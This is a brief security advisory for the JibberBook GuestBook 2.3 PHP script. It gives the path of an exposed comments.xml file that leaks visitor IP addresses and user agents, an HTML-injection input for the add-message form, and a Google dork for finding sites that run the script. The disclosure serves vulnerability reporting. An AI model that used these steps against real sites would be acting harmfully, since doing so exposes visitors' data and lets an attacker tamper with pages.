JibberBook GuestBook 2.3 Multiple Vulnerabilities

[contact@xxxxxxxxxxxxxxx]

###########################################################################
###########################################################################
        
        [»] Script:             [ JibberBook  ]
        [»] Language:           [ PHP ]
        [»] Website:            [ http://jibberbook.com ]
        [»] Founder:            [ Onur YILMAZ aka DJR ]
        [»] Site:               [ www.onuryilmaz.info ]

###########################################################################
###########################################################################

=== [ data source of comments disclosure (.xml file) ] ===

        [»] [JibberBook]/data_layer/xml/comments.xml

        === [ output ] ===

                <message mID="m54a7c965f0318a7.23679427">
                 <name></name> 
                 <website /> 
                 <comment></comment> 
                 <date></date> 
                 <user_ip>127.0.0.1</user_ip> 
                 <user_agent>Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) 
AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 
Safari/530.5</user_agent> 
                 <spam>0</spam> 
                </message>

###########################################################################
###########################################################################

=== [ HTML Code Injection ] ===

        [»] add new message
        
                <img src="">

                <a href=""></a>

###########################################################################
###########################################################################

=== [ Google Dork ] ===

        [»] "JibberBook created by"

###########################################################################
###########################################################################